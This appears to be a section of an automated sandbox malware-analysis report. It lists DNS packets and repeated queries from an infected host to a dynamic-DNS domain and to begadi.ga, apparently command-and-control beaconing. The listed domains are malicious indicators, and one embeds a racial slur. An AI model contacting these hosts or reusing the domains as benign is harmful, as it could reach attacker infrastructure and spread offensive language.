Dec 21, 2020 08:34:15.657253981 CET	53	59549	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:16.071230888 CET	50463	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:16.098458052 CET	53	50463	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:16.519520044 CET	59029	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:16.546869040 CET	53	59029	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:16.966084957 CET	60541	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:16.990459919 CET	53	60541	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:17.457360983 CET	62739	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:17.481856108 CET	53	62739	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:17.911499977 CET	62511	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:17.947513103 CET	53	62511	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:18.360188007 CET	54403	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:18.384497881 CET	53	54403	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:18.821360111 CET	62038	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:18.848465919 CET	53	62038	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:19.271018028 CET	50377	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:19.295341015 CET	53	50377	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:19.715977907 CET	59171	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:19.740425110 CET	53	59171	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:20.170018911 CET	59721	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:20.202665091 CET	53	59721	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:20.615250111 CET	54110	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:20.648192883 CET	53	54110	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:21.069551945 CET	65178	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:21.093951941 CET	53	65178	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:21.521275997 CET	57185	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:21.545727968 CET	53	57185	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:21.957238913 CET	51859	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:21.984266996 CET	53	51859	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:22.409060955 CET	63355	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:22.435983896 CET	53	63355	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:22.841989040 CET	59126	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:22.874603033 CET	53	59126	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:23.283040047 CET	59136	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:23.310132027 CET	53	59136	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:23.741769075 CET	61938	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:23.765877962 CET	53	61938	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:24.340230942 CET	54603	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:24.373184919 CET	53	54603	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:24.808307886 CET	56472	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:24.835433960 CET	53	56472	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:25.262887001 CET	64956	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:25.289983988 CET	53	64956	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:25.710551977 CET	49558	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:25.736001968 CET	53	49558	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:26.160768032 CET	60485	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:26.185072899 CET	53	60485	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:26.614681959 CET	62070	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:26.638876915 CET	53	62070	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:27.062807083 CET	52196	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:27.087270975 CET	53	52196	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:27.520749092 CET	53324	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:27.544984102 CET	53	53324	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:27.986989021 CET	59208	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:28.019649982 CET	53	59208	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:28.446234941 CET	53489	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:28.470670938 CET	53	53489	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:28.886102915 CET	60104	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:28.910393953 CET	53	60104	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:29.338663101 CET	57579	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:29.363013029 CET	53	57579	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:29.768058062 CET	56516	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:29.792376041 CET	53	56516	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:30.464324951 CET	50926	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:30.488459110 CET	53	50926	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:31.077270031 CET	61266	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:31.113116026 CET	53	61266	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:31.530584097 CET	57279	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:31.554856062 CET	53	57279	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:31.997639894 CET	65273	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:32.024882078 CET	53	65273	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:32.732549906 CET	64307	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:32.765345097 CET	53	64307	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:33.196446896 CET	49977	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:33.223654985 CET	53	49977	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:33.646843910 CET	61667	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:33.679516077 CET	53	61667	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:34.237993002 CET	65274	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:34.262284994 CET	53	65274	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:34.832995892 CET	58029	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:34.860109091 CET	53	58029	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:35.595055103 CET	64534	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:35.622085094 CET	53	64534	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:36.298094034 CET	51031	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:36.322339058 CET	53	51031	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:36.745827913 CET	64254	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:36.769982100 CET	53	64254	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:37.184614897 CET	52696	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:37.208910942 CET	53	52696	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:37.667687893 CET	56479	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:37.691914082 CET	53	56479	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:38.116018057 CET	63874	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:38.143122911 CET	53	63874	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:38.580862999 CET	62985	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:38.605318069 CET	53	62985	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:39.014872074 CET	53083	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:39.042166948 CET	53	53083	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:39.460103035 CET	56129	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:39.484519958 CET	53	56129	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:39.922630072 CET	54898	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:39.949804068 CET	53	54898	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:40.387022018 CET	60996	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:40.411335945 CET	53	60996	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:40.870759010 CET	56871	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:40.897921085 CET	53	56871	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:41.326885939 CET	56681	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:41.351249933 CET	53	56681	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:41.787194967 CET	57030	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:41.811691046 CET	53	57030	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:42.230077028 CET	56842	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:42.254544020 CET	53	56842	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:42.685045958 CET	54769	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:42.712438107 CET	53	54769	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:43.125950098 CET	57976	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:43.150263071 CET	53	57976	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:43.560400009 CET	57822	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:43.584795952 CET	53	57822	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:44.009450912 CET	57816	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:44.036796093 CET	53	57816	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:44.446667910 CET	58218	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:44.473915100 CET	53	58218	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:44.919285059 CET	52925	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:44.954178095 CET	53	52925	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:45.405236959 CET	50088	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:45.429600954 CET	53	50088	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:45.873823881 CET	63974	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:45.901180983 CET	53	63974	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:46.292246103 CET	60174	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:46.319533110 CET	53	60174	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:46.737219095 CET	62566	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:46.761755943 CET	53	62566	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:47.190372944 CET	60502	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:47.214833975 CET	53	60502	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:47.621474028 CET	64666	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:48.633337975 CET	64666	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:49.651582956 CET	64666	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:49.678874969 CET	53	64666	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:50.100256920 CET	65172	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:50.124838114 CET	53	65172	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:50.556056976 CET	61683	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:50.580688000 CET	53	61683	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:51.002749920 CET	62288	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:51.027374983 CET	53	62288	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:51.549300909 CET	58473	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:51.576589108 CET	53	58473	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:51.980609894 CET	57284	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:52.005129099 CET	53	57284	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:53.237574100 CET	58015	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:53.261873960 CET	53	58015	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:53.671439886 CET	55470	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:53.698725939 CET	53	55470	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:54.125663996 CET	50974	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:54.152901888 CET	53	50974	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:54.601530075 CET	64934	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:54.628766060 CET	53	64934	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:55.073710918 CET	61741	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:55.097997904 CET	53	61741	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:55.533246040 CET	64069	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:55.557415962 CET	53	64069	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:55.991848946 CET	60995	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:56.016134977 CET	53	60995	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:56.432776928 CET	62291	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:56.456948042 CET	53	62291	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:56.894483089 CET	50900	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:56.921036005 CET	53	50900	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:57.346008062 CET	54131	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:57.370323896 CET	53	54131	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:57.803312063 CET	54293	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:57.836646080 CET	53	54293	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:58.262943029 CET	50519	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:58.287416935 CET	53	50519	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:58.711656094 CET	54187	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:58.736073017 CET	53	54187	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:59.157669067 CET	58673	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:59.182039022 CET	53	58673	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:59.615947008 CET	63779	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:59.643393993 CET	53	63779	8.8.8.8	192.168.2.22
Dec 21, 2020 08:35:00.071464062 CET	56240	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:35:00.095675945 CET	53	56240	8.8.8.8	192.168.2.22
Dec 21, 2020 08:35:00.519056082 CET	60915	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:35:00.546318054 CET	53	60915	8.8.8.8	192.168.2.22
Dec 21, 2020 08:35:00.951364994 CET	49177	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:35:00.984199047 CET	53	49177	8.8.8.8	192.168.2.22
Dec 21, 2020 08:35:01.390788078 CET	52037	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:35:01.415328979 CET	53	52037	8.8.8.8	192.168.2.22
Dec 21, 2020 08:35:01.849296093 CET	59411	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:35:01.873703957 CET	53	59411	8.8.8.8	192.168.2.22
Dec 21, 2020 08:35:02.301299095 CET	57033	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:35:02.325675964 CET	53	57033	8.8.8.8	192.168.2.22
Dec 21, 2020 08:35:02.741864920 CET	60843	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:35:02.766237974 CET	53	60843	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 21, 2020 08:33:20.079046011 CET	192.168.2.22	8.8.8.8	0x211b	Standard query (0)	chnesstdyqudusisabadassniggainthestfmv.ydns.eu	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:20.141686916 CET	192.168.2.22	8.8.8.8	0x211b	Standard query (0)	chnesstdyqudusisabadassniggainthestfmv.ydns.eu	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:31.913495064 CET	192.168.2.22	8.8.8.8	0x3397	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:32.661679029 CET	192.168.2.22	8.8.8.8	0x6b88	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:33.384108067 CET	192.168.2.22	8.8.8.8	0x5ac2	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:33.879810095 CET	192.168.2.22	8.8.8.8	0xff39	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:34.362772942 CET	192.168.2.22	8.8.8.8	0x5fb6	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:34.881009102 CET	192.168.2.22	8.8.8.8	0x1b02	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:35.359441996 CET	192.168.2.22	8.8.8.8	0x4a26	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:35.837912083 CET	192.168.2.22	8.8.8.8	0xd57a	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:36.313498974 CET	192.168.2.22	8.8.8.8	0xf5d6	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:36.808887959 CET	192.168.2.22	8.8.8.8	0x37e8	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:37.314598083 CET	192.168.2.22	8.8.8.8	0x2690	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:37.787421942 CET	192.168.2.22	8.8.8.8	0xdaa4	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:38.269783974 CET	192.168.2.22	8.8.8.8	0x2801	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:38.743330002 CET	192.168.2.22	8.8.8.8	0x5d56	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:39.221379995 CET	192.168.2.22	8.8.8.8	0x41db	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:39.711550951 CET	192.168.2.22	8.8.8.8	0x4455	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:40.202322006 CET	192.168.2.22	8.8.8.8	0xced7	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:40.652861118 CET	192.168.2.22	8.8.8.8	0xaae	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:41.115207911 CET	192.168.2.22	8.8.8.8	0xf263	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:41.607522011 CET	192.168.2.22	8.8.8.8	0xf523	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:42.085715055 CET	192.168.2.22	8.8.8.8	0xb44c	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:42.570028067 CET	192.168.2.22	8.8.8.8	0x1bf6	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:43.024233103 CET	192.168.2.22	8.8.8.8	0x3407	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:43.507846117 CET	192.168.2.22	8.8.8.8	0xd35b	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:43.990227938 CET	192.168.2.22	8.8.8.8	0xa48	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:44.476102114 CET	192.168.2.22	8.8.8.8	0xbac1	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:44.947941065 CET	192.168.2.22	8.8.8.8	0x6328	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:45.426358938 CET	192.168.2.22	8.8.8.8	0x5df6	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:45.893923044 CET	192.168.2.22	8.8.8.8	0xaa4a	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:46.404953957 CET	192.168.2.22	8.8.8.8	0xa122	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:46.857896090 CET	192.168.2.22	8.8.8.8	0xb6ff	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:47.341500998 CET	192.168.2.22	8.8.8.8	0x3dd8	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:47.811341047 CET	192.168.2.22	8.8.8.8	0xc326	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:48.293976068 CET	192.168.2.22	8.8.8.8	0xfbaa	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:48.764221907 CET	192.168.2.22	8.8.8.8	0x9447	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:49.248095989 CET	192.168.2.22	8.8.8.8	0x1f33	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:49.738286972 CET	192.168.2.22	8.8.8.8	0xc5a6	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:50.200308084 CET	192.168.2.22	8.8.8.8	0xcac4	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:50.703052044 CET	192.168.2.22	8.8.8.8	0xb096	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:51.166956902 CET	192.168.2.22	8.8.8.8	0xb47e	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:51.634434938 CET	192.168.2.22	8.8.8.8	0x5bf1	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:52.106240034 CET	192.168.2.22	8.8.8.8	0xed4e	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:52.575071096 CET	192.168.2.22	8.8.8.8	0x5d81	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:53.053771019 CET	192.168.2.22	8.8.8.8	0x4d15	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:53.521665096 CET	192.168.2.22	8.8.8.8	0xb247	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:54.004151106 CET	192.168.2.22	8.8.8.8	0xd551	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:54.463464975 CET	192.168.2.22	8.8.8.8	0xaef1	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:54.918165922 CET	192.168.2.22	8.8.8.8	0x2f5b	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:55.372256041 CET	192.168.2.22	8.8.8.8	0x8fd0	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:57.806827068 CET	192.168.2.22	8.8.8.8	0xef23	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:58.565279007 CET	192.168.2.22	8.8.8.8	0x476b	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:59.039273977 CET	192.168.2.22	8.8.8.8	0xc2e9	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:59.513793945 CET	192.168.2.22	8.8.8.8	0x7013	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:59.963618994 CET	192.168.2.22	8.8.8.8	0x68ec	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:00.431229115 CET	192.168.2.22	8.8.8.8	0xd32f	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:00.894161940 CET	192.168.2.22	8.8.8.8	0xf721	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:01.345640898 CET	192.168.2.22	8.8.8.8	0x9374	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:01.786082029 CET	192.168.2.22	8.8.8.8	0x8596	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:02.207808971 CET	192.168.2.22	8.8.8.8	0x3e26	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:02.980644941 CET	192.168.2.22	8.8.8.8	0x6e6d	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:03.739376068 CET	192.168.2.22	8.8.8.8	0xe7ff	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:04.201909065 CET	192.168.2.22	8.8.8.8	0x95e8	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:04.632169008 CET	192.168.2.22	8.8.8.8	0xe5b1	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:05.084239006 CET	192.168.2.22	8.8.8.8	0x9f2d	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:05.539611101 CET	192.168.2.22	8.8.8.8	0x5352	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:05.976373911 CET	192.168.2.22	8.8.8.8	0x4f0f	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:06.425539017 CET	192.168.2.22	8.8.8.8	0x7d0e	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:06.876219988 CET	192.168.2.22	8.8.8.8	0x42b0	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:07.333338022 CET	192.168.2.22	8.8.8.8	0xbedc	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:07.783689976 CET	192.168.2.22	8.8.8.8	0x8b5	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:08.236664057 CET	192.168.2.22	8.8.8.8	0x4597	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:08.676565886 CET	192.168.2.22	8.8.8.8	0x11a	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:09.131469011 CET	192.168.2.22	8.8.8.8	0x433f	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:09.589118958 CET	192.168.2.22	8.8.8.8	0x2e22	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:10.046735048 CET	192.168.2.22	8.8.8.8	0xeeaa	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:10.515592098 CET	192.168.2.22	8.8.8.8	0x9098	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:10.950223923 CET	192.168.2.22	8.8.8.8	0x1efc	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:11.411515951 CET	192.168.2.22	8.8.8.8	0x1ef9	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:11.841891050 CET	192.168.2.22	8.8.8.8	0x6af1	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:12.305572033 CET	192.168.2.22	8.8.8.8	0xcad	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:12.768889904 CET	192.168.2.22	8.8.8.8	0xe282	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:13.222127914 CET	192.168.2.22	8.8.8.8	0x4e37	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:14.232207060 CET	192.168.2.22	8.8.8.8	0x4e37	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
